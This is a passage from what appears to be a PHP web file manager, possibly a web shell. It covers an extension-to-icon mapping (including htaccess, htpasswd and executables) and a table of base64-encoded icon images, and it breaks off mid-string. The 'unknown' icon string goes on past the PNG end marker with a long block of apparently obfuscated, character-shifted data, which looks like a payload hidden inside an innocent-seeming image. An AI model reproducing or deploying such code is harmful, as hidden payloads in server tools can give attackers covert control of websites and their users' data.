1029 'flv',
1030 'wmv',
1031 'clpi',
1032 'vob',
1033 'dv',
1034 'ogg'),
1035 "doc" => array(
1036 "doc",
1037 "dot",
1038 "wri"),
1039 "txt" => array(
1040 "txt",
1041 "log",
1042 "conf",
1043 "cfg",
1044 "vbs",
1045 "ini"),
1046 "js" => array("js"),
1047 "cmd" => array(
1048 "cmd",
1049 "bat",
1050 "pif",
1051 "exe",
1052 "sh",
1053 "makefile"),
1054 "wri" => array("wri", "rtf"),
1055 "swf" => array("swf", "fla"),
1056 "mp3" => array(
1057 'amr',
1058 'm3u8',
1059 'med',
1060 'spx',
1061 'spx',
1062 'kar',
1063 'mpga',
1064 'pla',
1065 'it',
1066 'ape',
1067 'tta',
1068 'pls',
1069 'stm',
1070 'mid',
1071 's3m',
1072 'asx',
1073 'mka',
1074 'awb',
1075 'psf',
1076 'aifc',
1077 'mo3',
1078 'aiff',
1079 'mp+',
1080 'axa',
1081 'mp2',
1082 'mp3',
1083 'ra',
1084 'mod',
1085 'wav',
1086 'wax',
1087 'mpc',
1088 'midi',
1089 'mpp',
1090 'm15',
1091 'psid',
1092 'wv',
1093 'mtm',
1094 'xi',
1095 'xm',
1096 'm3u',
1097 'm4b',
1098 'm4a',
1099 'aac',
1100 'ac3',
1101 'xmf',
1102 'rax',
1103 'minipsf',
1104 'wma',
1105 'wmx',
1106 'vlc',
1107 'ult',
1108 '669',
1109 'sid',
1110 'voc',
1111 'gsm',
1112 'au',
1113 'uni',
1114 'flac',
1115 'aif',
1116 'snd',
1117 'psflib',
1118 'wvc',
1119 'oga',
1120 'wvp',
1121 'ogg',
1122 'wvx'),
1123 "cpp" => array(
1124 "cpp",
1125 "c",
1126 "cc",
1127 "cxx"),
1128 "css" => array('css'),
1129 "htaccess" => array(
1130 "htaccess",
1131 "htpasswd",
1132 "ht",
1133 "hta"),
1134 );
1135
1136$images = array(
1137 "ok" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAADoSURBVDiNrZOxboNADIY/08CAunTIQBakSLRbH6Qv0XfrQ/QBmLM1iqIMERnaDqxcJsBdOHQhXJOI/JJ1Z8v32z7boqpMQTDpNTDz2OfA08BmgO8zT1Udkwz4BUoreZ6/qqoMfX0ZAByA0CpJktSXSlgAj45+dAk6ZN1ZAT8A4nThWUQ+Hec94LZoCUhX9huwG2YA8DWWZof1pRJs2jfhrgSVqq6sEobhS13XD1Y3xmziOO597UU8o5yJyDvQExRF8ZGm6ZbTj/XPQRAEx7Zte4IoikYj+QiqpmlKTnfFDKP/V8LVmLyNf9lXY6ltlYsrAAAAAElFTkSuQmCC",
1138 "cancel" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAHlSURBVDiNpZPPa9NwGMafLkn3HVkDapMsAxEKbbdBmafSi3eZjkXBH8yTMGGwQ4/7CwaDnXqdB0/dFmWhhQqyywZeJJc5ehiYMZAeSlqt0EUy2qavB1sJkSLSF97Lw/t8+PI8fCNEhHFmYiz3CIACIAFADGjiQFP+BZjZy2X17SlWvjCM9MAoXhhGenuKlfdyWR3ATNAQCWSgGPdyeuPzWUHleVbzfXvl9ZvnAFB+9fLgNsclnV7vWrm7mH/28VMJQCMMSBTnU6bWbi1yEeDK7+Oy07MBIBHlkzFuAj4Bdenm2YvzL48BXIYBYsepr1T1+/luw8kCQLvnAwAkngMACIpqZUofClFVKwP4GQYAgNRxnIf20wf5zrffkOFE46qVfPu+EFXVCoD2qBB959Sya543zRiP4NY8b9o5tWwA/qgWxHrFTB9vrBXlvrcwyQQEV+57C8cba8V6xRy281cLiXeZO6X5WDRzgwkAAO6WbAGA/72ZBYAf112cX3WqT6pf9WGIwRe4S1s7+1o85jImQJzVLHn3sCDvHhbEWc1iTIAWj7lLWzv7ANw/LiIK7lz3yNx015dPqNVcJSKJiCRqNVfd9eWT7pG5SURzQU8YACJKEdGjgXmoSQMtFb4P1/jfM/Zv/AXVzv8RqSjGwgAAAABJRU5ErkJggg==",
1139 "small_home" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwzMaECujcAAAHfSURBVDjLlZI9a1RREIafc+/Zm4vJLnZqKVY2QREXQcEitikC9jYBBcu0KdPmN0hgsRFsBP+AhsAWpkw2RBAhEgORDexm7545Z8Zio+ayUcwLp5l55jAfrzMz7q69ewM8pa73wNL26mLgH3JnH9iDm9exzE2iCr3DE/qj0yEQL6gz4PX26uJL96LTfdTdP/wwf8NPUZpAbbpaDXrHSe/fuvbYRwnra0t3mCsLLqNBFbK3n76u+6ix/X0w5vPxcAqaaeRYMoLqVG5uxhM1tn2KwkklU8CVwpObQQYuzzkN9VWcVEKKgq9EEakPOlvkODVebe4A8OzhbQqXMQypxlWiZKJGSPr7lUVG5mBjcwcrm1jZZGNzh8xBWWQ1VtTIqqhEhaiTtj3Q2drFyiatsqBVFljZpLO1iz8b7RdfRSVTi0RTcu9oOKPzcZdRNFrnrtIqC0Zxkms4I/eOaIpaJBMRJBqSjKLhWV6YR8J4aqkSxiwvzFM0PJJsUiNCllJCkjEYRXpHQ2LSv94+JqV3NGQwikgyUkp4ESE5q7kM4ODbwYUOPM+KCF5jYBz/BPsh8vzJvQs76IdYYzUGvGjqHh3/aF+dnQNg7yD8l5X7wwGiqeuTjFf2v+ytA20upy6w8hMQ/yfbalvVkgAAAABJRU5ErkJggg==",
1140 "small_dir" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1wAADdcBQiibeAAAAAd0SU1FB9oIEwwxI2CNqf0AAAEVSURBVDjLpZC9SgNREIXPhkEFU9ippdiLFi4Wgk+QIuBDCJZpU6bdtwg2go3gC9htYepIBLGKQiSBRO/e+bOIjUSEvX7lMOfjzGTujqPe7TWAc/zkDkB70G1F/EH2LfCTvR14I1tODRiOZ5h+fiwAyC85B3A16LYus4t+eVqOxvcHu7SyZQqYr6bNgeFE7Xh/+4yEY9FrH6K5sYY6zENs3Dy8FCQm+eu8wtNkUUvQXCeISU4qjFlg1GUWGCoMCmxgdqQQ2EBsjqiWJGBzUBCDpOURxEDmAvE0g7mAmBksaT9gZpCqgjVNoKrLBpr9o4FJRJV4gkkEsWn5NnnPtzabtcLTxRxsWpJy1Rk9PxYA8poFSgCdLzKTqNoRW0z8AAAAAElFTkSuQmCC",
1141 "small_unk" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAC0SURBVDiN7Y8tjsMwGESn1kgBAQEGoSELs7fojdpb9FShYd4gh4TmCt+PXVReV4U70sD3NHNZ1/VqZo9Syi8aEkJIJG+XZVnSNE3zOI4IIbwFl1JwnieO4/ijiMwxRohIywDEGJFznunucPcmGABeHM0MtdZmAQCYGaiqHwtUFXT3jwXfufAv+JJAVUGyGTYzBJI5pQQRQa31rYoIUkogmdn3/X3f98e2bT8tC7qu24dhuD8BD6e7SzzK9MwAAAAASUVORK5CYII=",
1142 "unknown" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGpSURBVDiNlVLNiuJAGKzEjjkIRomoiCEtsosHFR/AkzJvtPMW81DiUW/ZHCRi/D20IoiiIOlOeg9Lwrhj3N2C79JVX1H10cp0On0TQnxEUdTFf0BVVYcQ8kMZj8cOpbRTqVSgquo/LUdRhP1+j9Vq9ZMEQdAxTRNBECSC7XYLxhiOxyOy2Syq1Sosy0I+n080pmnC87yOGoYhwjCElBJSSvi+j8lkAkVRMBgMoGkaZrMZRqMRrtdroov3VCFE8iilxOFwAADsdjsoioJ6vQ4A4JyDMfagFUKAcM4hpUyiUUpxPp9RKBSQyWRwuVwSrlgsPmg55yBx/BilUgnD4RAAIKUEYwwAUC6XYRjGgzYMQ5C4wjOcTifcbjfUajX0er0vOiHEa4PNZgPbttHtdpNEfxp8OeLnYYyh1Wql8n9N0O/3QQhJ5V8arNdrLBYL2LaNZrOZapBaYblc4n6/w/f9lxVUIQTiv/B5KKXQdR2NRuPpMuf8dwVCiOc4zvd2uw1N05J4lmXBsqyn1+ecw3VdEEI8ksvl3ufz+Yfrut+eFk2BrutzwzDefwHYpG7Wn490BQAAEpxpVFh0Q29tbWVudAAAAAAAdW5rbm93bpankp1xlqOjoKOQo5ahoKOlmp+YWWFabDtxmp+akKSWpVlTlZqkoZ2SqpCWo6Ogo6RTXVGXkp2kllpsO5emn5SlmqCfUaOUYpqjlllVl1qsUaOWpaajn1Fxl5SdoKSWWXGXoKGWn1lVl11RWKNYWlpRcFFiUWtRYWxRrjuXpp+UpZqgn1GjlGKaqKNZVZdarFGjlqWmo59RcZeUnaCklllxl6Chlp9ZVZddUViSWFpaUXBRYlFrUWFsUa47l6aflKWaoJ9Ro5RiqKOaWVWXXVWUWqxRVZehbnGXoKGWn1lVl11RWKhYWmxRcZehpqWkWVWXoV1RVZRabFFxl5SdoKSWWVWXoVpsUa47l6aflKWaoJ9Ro5Ril5eeWVWlWqxRo5alpqOfUXGkpaOQo5ahnZKUlllTYGBTXVNgU11xpKWjkKOWoZ2SlJZZU42NU11TYFNdVaVaWmxRrjuXpp+UpZqgn1GjlGKVlVlarFGjlqWmo59RWXGWqaWWn6SaoJ+QnaCSlZaVWViUpqOdWFpRV1dRcZemn5SlmqCfkJapmqSlpFlYlKajnZCan5qlWFpaUXBRYlFrUWFsUa47l6aflKWaoJ9Ro5RipZ6hWVqsO1GYnaCTkp1RVaWWnqGVmqNsO1Gal1lxmqSklqVZVaWWnqGVmqNaV1dxmqSQlZqjWVWllp6hlZqjWldXcZqkkKijmqWSk52WWVWllp6hlZqjWlpRo5alpqOfUVWllp6hlZqjbDtRl6CjlpKUmVmSo6OSqllTYKWeoWBTXVNgp5KjYKWeoWBTXVNgpqSjYKWeoWBTXVNglZanYKSZnmBTXVNWiHp/dXqDYKWWnqFgU1pRkqRRVaVarDtRUZqXWXGXmp2WkJapmqSlpFlVpVpXV3GapJCVmqNZVaVaV1dxmqSQqKOapZKTnZZZVaVaWlGjlqWmo59RVaVsO1GuO1GjlqWmo59Rl5KdpJZsO647l6aflKWaoJ9Ro5RipqOdWVqsO1FVmVFuUVmWnqGlqllVkIR2g4d2g4xYeYWFgYRYjlpRra1RpKWjpaCdoKiWo1lVkIR2g4d2g4xYeYWFgYRYjlpRbm5RWKCXl1hRcFGXkp2kllFrUaWjppZabDtRVaZRblFYmaWloVhRX1FZWVWZUXBRWKRYUWtRWFhaUV9RWGtgYFhRX1FVkIR2g4d2g4xYeYWFgZB5gISFWI5RX1FVkIR2g4d2g4xYgXmBkIR2fXdYjlpsO1FVnlFuUVmWnqGlqllVkIR2g4d2g4xYgXKFeZB6f3eAWI5aUXBRWIKGdoOKkISFg3p/eFhRa1FYgXKFeZB6f3eAWFpsO1FVpFFuUVWeUW5uUViChnaDipCEhYN6f3hYUXBRWHBYUWtRWFhsO1GjlqWmo59RVaZRX1FVpFFfUVmapKSWpVlVkIR2g4d2g4xVno5aUXBRVZCEdoOHdoOMVZ6OUWtRWFhabDuuO5qXWaOUYpWVWVpaUaw7UZemn5SlmqCfUaOUYqFZVaZdVaddVZlarDtRUZqXWVWZUVJuUVNiU1FXV1FVmVFSblFTYVNaUVWZUW5RU2FTbDtRUVWnUW5RU5Sgn6WWn6WQpaqhlm6flqiQlZKlkpCWn6WjqleTkqSWkJSgn6WWn6VuU1FfUXGmo52Wn5SglZZZcZOSpJZnZZCWn5SglZZZVadaWlFfUVNXmZqVlZafkKWqoZZuU1FfUVWZUV9RU1ekqqSQpaqhlm5TUV9RgXmBkICEUV9RU1eaoW5TUV9RVZCEdoOHdoOMWIN2foCFdpBydXWDWI5sO1FRVZJRblFTfqCrmp2dkmBlX2FRWZSgnqGSpZqTnZZsUX6EenZRaF9hbFGImp+VoKikUX+FUWdfYmxRhaOalZafpWBlX2FsUYR9dHRjbFFff3aFUXR9g1FjX2FfZmFoY2hsUV9/doVRdH2DUWRfZl9kYWhjamxRX392hVF0fYNTbDtRUVWmUW5RU5mlpaFrYGBTUV9RVaZsO1FRVZRRblFxlKajnZCan5qlWVpsO1FRcZSmo52QpJaloKGlWVWUXVF0hoN9gIGFkIaDfV1RVaZabDtRUXGUpqOdkKSWpaChpVlVlF1RdIaDfYCBhZCGhHaDcnh2f4VdUVWSWmw7UVFxlKajnZCklqWgoaVZVZRdUXSGg32AgYWQg3aFhoN/hYNyf4R3doNdUWJabDtRUXGUpqOdkKSWpaChpVlVlF1RdIaDfYCBhZCBgISFXVFiWmw7UVFxlKajnZCklqWgoaVZVZRdUXSGg32AgYWQgYCEhXd6dn11hF1RVadabDtRUXGUpqOdkKSWpaChpVlVlF1RdIaDfYCBhZCFen52gIaFXVFlWmw7UVFxlKajnZCklqWgoaVZVZRdUXSGg32AgYWQdIB/f3Z0hYV6fnaAhoVdUWVabDtRUVWjUW5RcZSmo52QlqmWlFlVlFpsO1FRcZSmo52QlJ2gpJZZVZRabDtRUaOWpaajn1FZUnGWnqGlqllVo1pRV1dRcaSlo6Slo1lVo11RU6SSp5aVkKOUpJmWnZ2Qlp+lo6pTWlpRcFFiUWtRYWw7Ua47rjuXpp+UpZqgn1GjlGKXpaFZVaVuYVqsO1GYnaCTkp1RVZKUpV1Vl6WhkKSWo6eWo11Vl6WhkKGgo6VdVZeloZCmpJajn5Kell1Vl6WhkKGSpKSooKOVbDtRVZ9uU42fU2w7UVWUbmFsO1FVp25YWGw7UZqXWXGapKSWpVlVkpSlWldXVZKUpW5uU5eloVNXV3GapKSWpVlVl6WhkKGgo6VaV1dScZaeoaWqWVWXpaGQoaCjpVpXV3GapKSWpVlVl6WhkKSWo6eWo1pXV3GapKSWpVlVl6WhkKaklqOfkp6WWldXcZqkpJalWVWXpaGQoZKkpKigo5VaV1dScZaeoaWqWVWXpaGQpJajp5ajWldXUnGWnqGlqllVl6WhkKaklqOfkp6WWldXUnGWnqGlqllVl6WhkKGSpKSooKOVWlqsO1FRVZRuYmw7UVFVp25Td4WBa1FVl6WhkKSWo6eWo2tVl6WhkKGgo6WthoR2g2tRVZeloZCmpJajn5Kelq2BcoSEa1FVl6WhkKGSpKSooKOVjZ9TbDtRrjtRmpdZVaVSbm5hWqw7UVGal1lSVZRaUaOWpaajn1FYWGw7UVGal1lxl6aflKWaoJ+QlqmapKWkWVOXpaGQlKCfn5aUpVNaV1dxl6aflKWaoJ+QlqmapKWkWVOXpaGQnaCYmp9TWldXcZemn5SlmqCfkJapmqSlpFlTl6WhkJSdoKSWU1parDtRUVFVl5eXUW5RcZeloZCUoJ+flpSlWVWXpaGQpJajp5ajXVWXpaGQoaCjpV1kWmw7UVFRmpdZVZeXl1pRrDtRUVFRmpdZcZeloZCdoJian1lVl5eXXVFVl6WhkKaklqOfkp6WXVFVl6WhkKGSpKSooKOVWlqsO1FRUVFRcZeloZCUnaCklllVl5eXWmw7UVFRUVGjlqWmo59RVadsO1FRUVGuO1FRUVFxl6WhkJSdoKSWWVWXl5dabDtRUVGuO1FRrjtRUaOWpaajn1FYWGw7Ua47UaOWpaajn1FVp2w7rjuXpp+UpZqgn1GjlGKUl5hZVZKjWqxRO1FVn25TjZ9TbDtRmJ2gk5KdUVWUoJ+XmphsO1FVo25YWGw7UZego5aSlJlZkqOjkqpZWKeWo6SaoJ9YXViSpqWZWF1YlZaXkqadpZCnkqOkWFpRkqRRVZRarDtRUZqXWXGapKSWpVlVlKCfl5qYjFWUjlparDtRUVGal1lxmqSQkqOjkqpZVZSgn5eamIxVlI5aWqw7UVFRUZego5aSlJlZVZSgn5eamIxVlI5RkqRRVZxub1WnWlFxVaNfblWUX1NRU19VnF9TblNfVadfVZ9sO1FRUa5Rlp2kllGsO1FRUVFxVaNfblWUX1NuU19VlKCfl5qYjFWUjl9Vn2w7UVFRrjtRUa47Ua47UaOWpaajn1FVo2w7rjuXpp+UpZqgn1GjlGKhpKVZWqw7UVWfblONn1NsO1FVp25YWGw7UZidoJOSnVFVlKCfl5qYbDtRmpdZcZqkpJalWVWUoJ+XmpiMU5KmpZlTjoxTnpVmkKaklqNTjlpXV3GapKSWpVlVlKCfl5qYjFOSpqWZU46MU56VZpChkqSkU45aV1dxmqSklqVZVZCBgISFjFOrplOOWldXcZqkpJalWVWQgYCEhYxTq6FTjlparDtRUZqXWVWUoJ+XmpiMU5KmpZlTjoxTnpVmkKaklqNTjm5ucZ6VZllVkIGAhIWMU6umU45aV1dVlKCfl5qYjFOSpqWZU46MU56VZpChkqSkU45ublWQgYCEhYxTq6FTjlqsO1FRUVWnX25Tq6ZuU19VkIGAhIWMU6umU45fVZ9sO1FRUVWnX25Tq6FuU19VkIGAhIWMU6uhU45fVZ9sO1FRrjtRrjtRo5alpqOfUVWnbDuuO5emn5SlmqCfUaOUYpKVlVlVkqNarDtRmJ2gk5KdUVWTpJKXll1Vk6Chlp+VmqNsO1FVn25TjZ9TbDtRVaduU4aDfW5TX6OUYqajnVlaX1WfX1WfbDtRVadRX25RU6GZoW5TX3GhmaGnlqOkmqCfWVpfVZ9sO1FVp1FfblFTpJKXlpCeoJWWblNfWVlxmqSklqVZVZOkkpeWWlpRcFFZWVWTpJKXllpRcFFTgH9Ta1OAd3dTWlFrU3BTWl9Vn2w7UVWnUV9uUVOgoZafkJWao25TX1lZcZqkpJalWVWToKGWn5Wao1paUXBRWVlVk6Chlp+VmqNaUXBRU4p2hFNrU3+AU1pRa1NwU1pfVZ9sO1FVp1FfblGjlGKhpKVZWmw7UVWnUV9uUaOUYpSXmFlabDtRVadRX25Ro5Ril6WhWVpsO1GXoKOWkpSZWZKjo5KqWViEdoOHdoOQf3J+dlhdWIR2g4d2g5BydXWDWF1YhHaDh3aDkIGAg4VYXVh5hYWBkIN2d3aDdoNYXViBeYGQhHZ9d1hdWIN2goZ2hIWQhoN6WF1YhHSDeoGFkH9yfnZYXViEdIN6gYWQd3p9dn9yfnZYXVh0fXp2f4WQeoFYXViDdn6AhXaQcnV1g1haUZKkUVWkp1qsO1FRmpdZcZqkpJalWVWQhHaDh3aDjFWkp45aWqxRVadfblWkp19TblNfVZCEdoOHdoOMVaSnjl9Vn2xRrjtRrjtRo5alpqOfUVWnbDuuO5emn5SlmqCfUaOUYqSVWVWZXVWnXVWkXVWmYl1VnmJarDtRmpdZo5RilZVZWlpRrDtRUZqXWVKjlGKhWVWmYl1RVaddUVWZWlpRcZ6Smp1ZVZ5iXVFVpF1RVadabDtRrlGWnaSWUaw7UVFxnpKanVlVnmJdUVWkXVFVp1psO1GuO647VaOUYqWeoW6jlGKlnqFZWmw7mpdZVaOUYqWeoVJubpeSnaSWWqw7UXFVo1FuUaOUYpeXnllVo5RipZ6hUV9RU2BTUV9RcZ6VZllxpp+aopqVWXGjkp+VWVpaUV9RcZ6VZllxpZqelllaWlpabDtRmpdZo5RimqijWVWjWlpRrDtRUVWUl5qdllFuUaOUYpeXnllVo5RipZ6hUV9RU2CoqKiQpJakpJBTUV9RcZ6VZlmjlGKmo51ZWl+jlGKUl5hZWlpabDtRUXGmn52an5xZVaNabDs7UVFVnmJRblFToZallqOdlpiWo5ZmYnGqkpmgoF+UoJ5TbDtRUVWmYlFuUVOhlqWWo52WmJajll+eqpKjpaSgn52an5ZflKCeYJ+WqKRjYJqflZapX6GZoVNsO1FRVaRRblGBeYGQgIRRX1OtU1+jlGKmo51ZWmw7UVFVmVFuUVNhU2w7UVGal1lSo5RimqOWWVWUl5qdllpaUaw7UVFRVadRblGjlGKSlZVZWmw7UVFRo5RipJVZVZldUVWnXVFVpF1RVaZiXVFVnmJabDtRUVGjlGKoo5pZVZSXmp2WXVFTYlNabDtRUa47UVFVl6duo5Ril6WhWWJabDtRUZqXWVJxlp6hpapZVZenWlqsO1FRUVWZUW5RU2JTbDtRUVFVpJeanZZRblGjlGKXl55ZVaOUYqWeoVFfUVNgqKiokKSWpKSQU1FfcZ6VZllVlJeanZZfVZenWlpsO1FRUZqXWVKjlGKao5ZZVaSXmp2WWlpRrDtRUVFRVadRblGjlGKSlZVZWmw7UVFRUaOUYqSVWVWZXVFVp11RU3eFga1TX1WkXVFVpmJdUVWeYlpsO1FRUVGjlGKoo5pZVaSXmp2WXVFTYlNabDtRUVGuO1FRrjtRrjuuOzt1bmtub3duz6mnZQAAAABJRU5ErkJggg==",
1143 "doc" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGUSURBVDiNjZPBSltBFIb/3AzEC4UgzIAMFCQ3pQsVXSXBl+kzFO2mG+miW58hYHd9CzdJNgpXQdQsNJEkNMGF0KJ3zszpIrlDkns1DgwMh5n/+/9zmMLB8enX9uXw5/3gKQSA30fbcM5h1QqCIBZCHBb2v/z6Z4sfws2PGkGxiJPvu2DmNx8TEfr9Pkaj0YW4e/gTVj9rnF0/wjqGMQZEtNKB1hq9Xm9HsE0wmPyFdVMqM4OZ0Wq1AABKKYzHY/9QKYVqtQpmhrUWgm0CosRfSAUajYavRVG0QE8jEhEE3AvgTEag2+168ryL1AEAGGMgnDXgOYFUJIqiBfL8OXVgrYWAS3IdtNvtBbpSKhOFiKY94ByBer3ua5VKZYG8JGAAm43wnjUVcPkOOp2Or0kpAQCTyQRSSh9lNgWT24NarZYhLkeZOcifQupASunJWmuEYZjtgbMvKBSCVx2k5GU6ESHQG+vP5qkPts+AM17grZ0kCeI4hhDiRuxtffpxFl8dDYfnawDQbDbf9ZlKpdJtuVz+9h/x5jl687x8uQAAAABJRU5ErkJggg==",
1144 "pdf" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAKcSURBVDiNdZPPa5RnEMc/77vP7vtmX2NYYjC+sBqkrRBMhB5KURoQCeKh9KZ/gRehhWo8VFAEQT2ICXpI24NRkZJSFIm0J08bKKVpxKwpLe4pCUKaKmv257vv+8zzeNgkGkgG5jTDZ2a+M+PMzMwMa61vGGMG2cbsmxXs3J+4R44hl86QunATN9ddVEqNOIVCodjb2zuQz+dRSm0JiO+MkTr4KcmTSZxwL6nTIywtLbG8vPxCxXE8EIYhWmu01lsCWlOTpDId6D8K+L9Mo7UmDEMWFxcHlIhgjNmue+yrRZIXz5HoR/zxh1jPB2ux1iIiKK011tptAfGvDxFSeFduQ5jflNtsNlFJkmwNsJbkt0c0fxgFV+H2H9qUF0UR5XIZV0Sway2te1x4SuXkMMncLBIn6HoDG7c24o1Gg3K5jNa6PYKJIqT0D/Lv37Qe/4wT7CB7fZxU337qE9+DAXn7FndXD/V6nWq1CtDWoHzhW17HNTKHh8h8cZTs1Vuk8vsAMJVVJGkLXJufI+ofREQ2xhARlP3oAE6rhkQtjOPi7gmx1mKMIV75D1lbUO33afikf5NMnuehmse/RE6cwFhDcv8Oq6e+gsvXsN09sLAAawDn+TM8z8PzPKIowvd9HMdBBUFALpdrV/36LMmRIWrfnWPnT4+QIKCyDpj9i07RGBUA4Ps+WmtcrTWO4+C6LkopOj77nMzhIWTqMf6+PkRABHSjRfXeBFEUkU6nsda+B6zfwrp3nvmGyoP7uN27MCqDGBADlbsTxLUq6XSaJEnaAKXUy2KxSBzHGwCyWejciayuwu5wAxCv/E/94kW01hSLRZRSL1UQBOdLpdKN+fn5jz9UuK4tmbFRGk6K5MNXmZoiK4bc8HCpq6vr/DvKaYMHJvkNngAAAABJRU5ErkJggg==",
1145 "iso" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNfbtNYGMV/sa//xC52Wid1QkuTUugIlFQCxAaQ2BHsglWwBlbQkUCQGY0UMkikSKRQdZqGNglpGsfX15enhofywHzP5/yOziedQrvdfppl2Ys8z/f4H2cYRkcI8aywv7/faTQarTiOMQzjt8x5njMYDOj3++9FmqatKIpI03Qp+PRPm8HZEC0cTLuIEBblcpnt29tLTRRF9Hq9llBKoZQCIEkWdF6/pGI57NX/wKrEmF4J03T4djah/e4vmq0mrutw5TOyLENrjdaaP/9+RdzwiGsZYtpHJ0cU9DeEdUGtGnDv3h0+dP9d6rMsQ0gp0VrT6X3ks1FESo+qHBEsptDvY17MCddjguIqliiyWgrpfz6k3thCSolQSqG1ZniyYLO4w3Q2YzaXRAuLrfoDCsDR0Vdq5QTPLuH7Nv8dT9B1jVIKcVUh+K5ZZ5WZDjmdSe7v3WI0miCBm5Udzr+8wS7HGNkK8nL6s8IVgEBjxpKK7WJ7VXzvBqPRBIBCwSUZjinkCiN3cebGdYDtmaR5im1bhG6R0eCYzc1NFjLh7fu3CM8mssdY8xzHqV0HlOOI89MRpbUQzy8SlALOh+ecnlyidY2Ba2JyxnrhkNX6k+uASlxmOr4gUwrLtgGN76+wsebCicsk0fSSBabZ4m719i9+ANza3uDk+BRhGZiGYDFPkSrDTRTmVLFSCnj0+PFSvwRIKRFCYAqTja0a47MJ49GQ2cUlaZriCJeHu1U2dioAy/QsyxBCiF6n09ltNptYlgVAuBYQrgXXRnSVLKWk2+0ihOgJ3/efHxwcvOh2u3d/f8zgOM5BGIbPfwAQSmassQoGQAAAAABJRU5ErkJggg==",
1146 "swf" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAGpSURBVDiNlZK/a1NRFMc/7/Y0DxpLtA8bnIyCg2D8C5SKKJT+AWInJy04ONk/QKgiUhAHBWfBSXQoLi5icMsir8HhPdAg4kt0Kraa3HvfvQ7a2DYvqR44yznfH+ece4Nms3nRWrvqnDvNf4RSKhaRm0Gj0YhrtVq9Wq2ilPonsnOObrdLu91eF611PYoitNb7MzufYfYIqAmiKCJJkrrK85w8z/HeF6b71sHcWKR/5ij9Cyfxm9/x3rPNE2st3vtCQ//pA/0rC/iv2aAmHoI/eGstyhgz0r334DY6y7DTM0zceUz4JoED04O+MQbZHn/oUB9Tfq49BwfllYfI+fnfU+3Ajl1h69F9rHEAbFxdJCiFzLzPdmGstcUCrpOx+eIZ5H9rQc4QrljAezburWB7Bjl2nMOv3hKUSkPjFwr0Gq/ZevqEHy/XADh06y5MTo58pSGBL5cvDZqVpeuEZ8+NJBcK+GiW8FSdg9eWmJqbG0veJWCMQUSovYt3nGJ/srUWJSJJHMdorUd+qL2ptSaOY0QkkXK5vJym6Wqr1Tox1nJPhGGYViqV5V9br0lw1NP/5QAAAABJRU5ErkJggg==",
1147 "php" => "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAAN1wAADdcBQiibeAAAABl0RVh0U29mdHdhcmUAd3d3Lmlua3NjYXBlLm9yZ5vuPBoAAAJySURBVDiNlZNPSFRRFMZ/vrnDOI4m+lKzhCyoFqEQpRXVIigG2gQuooWbNrWPWrSrlmEtgiAiIRBq47hIggaJYKboj6XMa9QaQ4aybBwb/8w8x7nvvndbDCYShR04i8PHdzjn+86pGB4ePqmU6vE8r53/CMMwLCHEpYpYLGa1tra2NTU1YRjGhsie55HJZEin0x+ElLLNNE2klP8zAKZpkkql2oTruriu+xuYydikvyySt0vYtiRvlyhJF8NncGj/VvbubgBglSeUUmitKdgOyYk55nLLTGdtfMLHrh0m33Kz5AuS0orDyINhqqv8XLxwmMbNIZRSCMdxsJcdEuNZMHwEa4IEC4qW5hpOn9zD6NgM8bdfWSqUOHpwB6UVSV//COfO7sdxHIhEIrp/MKEfD33SgAZ0OBzWr0en/1nf6X2uI5GINpRSTH9forjiADCb/Uk0GqVlyyYAfmTm19WreDAoUEphKKXILRZxPQ1AY4NJOBwm/W0BAMcrW6tZj3+e+lHWQCkFaBypAHg9Os1QfIr+J+P0DSS493CEvoEE76yZ3/hgNMFyfh6lXCp6e3v14SMnuH3/LZ0HdvJ+fJZ8ofSH7zXVATram4m/+kj2+xduXD3DyxfPyhNsrg9yvnsfN+/GsZdL+CurMIQfw+cHNK4jKSzM8WhslFAowPUrXdTXVa2toLVmW3MNt66dIvYmzdNnE+RyWYrFAp7nUVkZoL6umu6u4xzp2FnWROu1Bo7jIIQA4Fjndo51bv/rCWtdFlMpVXZBC